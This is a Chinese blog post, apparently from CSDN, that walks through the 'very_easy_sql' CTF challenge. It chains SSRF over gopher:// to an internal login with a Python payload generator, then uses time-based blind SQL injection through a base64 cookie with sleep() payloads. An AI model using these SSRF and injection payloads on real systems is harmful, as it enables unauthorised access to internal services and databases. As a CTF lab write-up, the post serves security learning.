very_easy_sql-攻防世界

题目

 

抓包发现use.php文件

 页面说"you are not an inner user, so we can not let you have identify~",就是说只能内部访问登录。这里抓包还看到返回包里有个set-cookie,说明是ssrf造成的sql注入

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人) 

因此我们可构造含有gopher协议的盲注脚本,通过对use.php界面发送请求来获取flag。具体实现的方法是通过构造不同的poc来进行注入攻击,并利用时间延迟判断是否成功注入。

【网络安全 | HTTP】 gopher协议原理、语法及利用总结-CSDN博客

http://61.147.171.105:55753/use.php?url=127.0.0.1/use.php

 构造ssrf语句实现从内部访问

官方wp里写使用admin,admin弱密码账号,还说登录框是用来校验这个用户名和密码是否再数据库中存在的,所以还是没告诉是弱密码

import urllib.parse

host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)

test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(host,content_length,content)

tmp = urllib.parse.quote(test) 
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new) 
print("gopher://"+host+"/_"+result)

 

gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A 

 

 返回包里发现set-Cookie,返回了base64编码的信息,解码后就是admin

这个cookie就是注入点。重新构造一个gopher的payload,带上这个cookie的内容再去访问use页面:由于不回显,所以选择时间盲注,用admin') and if(1,sleep(5),1)#进行测试,或者') and if(1,sleep(5),1)#都可。
(这里闭合点,自己测试吧,先单引号再双引号,再加括号)

 

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值